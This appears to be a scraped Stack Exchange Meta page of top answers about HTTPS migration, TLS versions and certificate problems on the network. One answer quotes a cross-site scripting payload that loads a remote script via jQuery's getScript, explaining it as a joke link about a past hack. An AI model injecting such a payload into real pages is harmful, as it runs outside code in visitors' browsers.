Hot answers tagged

134 votes

TLS 1.0 and TLS 1.1 removal for Stack Exchange services

Removing support for outdated security technologies is surely a good move. But I see your statistics includes only TLS 1.2, so do you have any plan for TLS 1.3? It's the new standard in 2018 and is ...
iBug says Reinstate Monica's user avatar
65 votes

TLS 1.0 and TLS 1.1 removal for Stack Exchange services

EDIT: now fixed When you write "we will be deprecating TLS 1.0 and 1.1", do you mean that they will no longer work after next week? It seems so from your next sentence, but this is confusing ...
Federico Poloni's user avatar
59 votes
Accepted

Let's Encrypt certificate issue requiring urgent renewal

Thanks again for bringing to our attention about our certificates being affected by the Let's Encrypt CAA Rechecking Bug. Unfortunately, we didn't get any notifications from LE to act sooner, which ...
Peter Kay's user avatar
  • 536
40 votes

Network-wide HTTPS: It's time

status-completed Every time I visit https://meta.stackoverflow.com, it shows me that "This page is trying to load script from unauthenticated pages". Is there something wrong here? When I ...
Suraj Jain's user avatar
35 votes

Roadmap to HTTPS: serving and uploading HTTPS-images only

Nice work on finally bringing HTTPS support in! I want to note something on point 4 (emphasis mine): Rebake remaining posts with HTTP images, so that images linking to HTTP addresses will become ...
Patrick Hofman's user avatar
28 votes
Accepted

Invalid certificate on all SE sites

As you noticed, the DST Root CA X3 certificate expired today. In theory, if you're running a current browser (which you are) on a current OS, you should be fine and switch over to the new root ...
Adam Lear's user avatar
  • 159k
25 votes

Accessing per-site metas gives 403 forbidden from cloudflare-nginx

This is a result/side-effect of some changes Cloudflare made recently, but the fact of the matter is that we'd run into problems with HTTPS support on child meta sites eventually anyway: you can't ...
Adam Lear's user avatar
  • 159k
25 votes
Accepted

Is Stack Exchange affected by the upcoming mass revocation of Let's Encrypt SSL certificates?

Stack Exchange sites should not be impacted by the Let's Encrypt cert revocations. Only certs using the TLS-ALPN-01 challenge are at issue, and we don't use that challenge type. In addition, Let's ...
Brandon Olin's user avatar
  • 356
24 votes
Accepted

Announcer badge spike

This is caused by the switch to HTTPS. Stack Overflow changed to HTTPS on May 22, and guess what happened. Here are the awarded Announcer badges on Stack Overflow: This has a technical reason. ...
Floern's user avatar
  • 1,949
23 votes

Network-wide HTTPS: It's time

The HTTPS Everywhere extension may cause trouble …when HTTPS gets forced everywhere (step #10). The reason is that the HTTPS Everywhere ruleset for Stack Exchange currently contains a forced ...
user2428118's user avatar
21 votes

Network-wide HTTPS: It's time

status-completed bug Area 51 thingies are breaking if you don't add the 's': Stack Exchange Q&A site proposal: Constructed languages http://area51.stackexchange.com/ads/proposal/101265.png ^...
Mithical's user avatar
  • 75.8k
19 votes

Network-wide HTTPS: It's time

status-completed bug Title for question is not parsed from URL in posts body (at least in preview) if you use https on link or on site where you trying to post. E.g. open SO via http:// open SO via ...
αλεχολυτ's user avatar
18 votes

TLS 1.0 and TLS 1.1 removal for Stack Exchange services

Running the Immuniweb.com Security Test it complains (abbreviated version): The problem is TLSv1.1 and TLSv1.0 configured with TLS_RSA_WITH_3DES_EDE_CBC_SHA enabled, that is non-compliant with ...
Rob's user avatar
  • 17.8k
15 votes

TLS for meta.*.stackexchange.com, again

I know you quoted my answer here, but Oded provided additional reasoning for why this is just not necessary: We never linked to the old Meta schemas in any way using HTTPS protocols, so there shouldn'...
animuson's user avatar
  • 189k
14 votes

Is anybody else having PKI problems connecting using Firefox 67.0?

We have worked with our CDN provider to roll back a change that was made enforcing OCSP Must-Staple. Firefox should be back in business, sorry for the interruption. To keep up to date follow our ...
Geoff Dalgas's user avatar
13 votes
Accepted

SSL Insecure Connection error on www.blender.stackexchange.com

We simply do not support this, and never have. Though it is reasonable to redirect the www. domains on http://, it's not reasonable to do so on https:// (we'd need a truckload of certs). We never ...
Nick Craver's user avatar
12 votes

Network-wide HTTPS: It's time

Won't this breaks thousands of old JavaScript snippets that are referencing external scripts by http? Example: (note: I suspect no one is linking to jquery using http but it's at least shows the issue)...
gman's user avatar
  • 4,520
12 votes

Network-wide HTTPS: It's time

bug In the Android app, I have Mi Yodeya Meta pinned in my list of sites, and since the switch from meta.judaism.stackexchange.com to judaism.meta.stackexchange.com it has changed to saying Unknown ...
Double AA's user avatar
  • 3,068
12 votes
Accepted

stackpromos.com HTTPS cert is invalid

My bad. Word on the street is stackpromos.com probably isn't supposed to have a valid cert, but I linked it in the blog post as https out of habit. Will fix as soon as I can get the blog post edited! ...
hairboat's user avatar
  • 15.3k
11 votes

Network-wide HTTPS: It's time

status-completed bug Receiving the https:// error in the Help center - Privileges pages, those contains the images in it. Still the images are as http:// only. The error is: In plain text: ...
Arulkumar's user avatar
  • 38.2k
11 votes

Network-wide HTTPS: It's time

bug status-completed The edits by Community to change from meta.*.stackexchange.com to *.meta.stackexchange.com are sending all the closed posts that have meta links to the reopen queue because they'...
Double AA's user avatar
  • 3,068
11 votes

Why can votes be retracted for posts edited only by the Community user to change to https?

is this the intended design of this special http-to-https edit, or is it rather something that still needs to be addressed somehow? There is nothing special about the Community edits for the HTTPS ...
Patrick Hofman's user avatar
11 votes

Links in Stack Exchange security website

The javascript:$.getScript("http://danlec.com/xss.js") is on purpose. That's how he "hacked" the site, so it's kind of pun/internal joke. Notice the link itself is fine; that's ...
Shadow Wizard Is Sad And Angry's user avatar
10 votes
Accepted

Images from imgur fail over ssl

This was a certificate fail on the CloudFlare side on the Imgur account hosted on our behalf. We're still awaiting info on what exactly happened, but since it's not directly our account we may not get ...
Nick Craver's user avatar
10 votes

Network-wide HTTPS: It's time

bug status-completed Once a number of comments are posted under a question or answer, the option will be offered to convert the comment thread into a chatroom: Please avoid extended discussions in ...
Glorfindel's user avatar
  • 248k
10 votes
Accepted

Why hadn't SE had HTTPS for a long time?

having an SSL certificate is not expensive anymore, so I can't imagine why we hadn't had it for a long time Certificates are cheap, but implementing HTTPS on a site that always has run under HTTP is ...
Patrick Hofman's user avatar
10 votes

HTTPS certificate error for meta redirect pages (meta.<site>.stackexchange.com)

The old Meta URLs will never support HTTPS. The whole point of changing the path to *.meta.stackexchange.com was because wildcards cannot use meta.*.stackexchange.com and we couldn't apply a single ...
animuson's user avatar
  • 189k
10 votes

foo.com is sketchy; “How to Format” and help should use HTTPS links in examples

Yes, we need to set a better example (I'm here all week). This includes stuff found in: Individual per-site settings Transifex for the international sites The help center (I believe a few have ...
Tim Post's user avatar
  • 181k
10 votes
Accepted

Certificate Expired on SEDE

Thanks for reporting this. We've gone ahead and fixed the certificate.
Taryn's user avatar
  • 51.5k
10 votes
Accepted

meta.*.stackexchange.com redirection does not work

This should be fixed now; HTTP redirects (from http://meta.*.stackexchange.com to https://*.meta.stackexchange.com) should now be working again. In addition, HTTPS redirects (from https://meta.*....
V2Blast's user avatar
  • 7,418

Only top scored, non community-wiki answers of a minimum length are eligible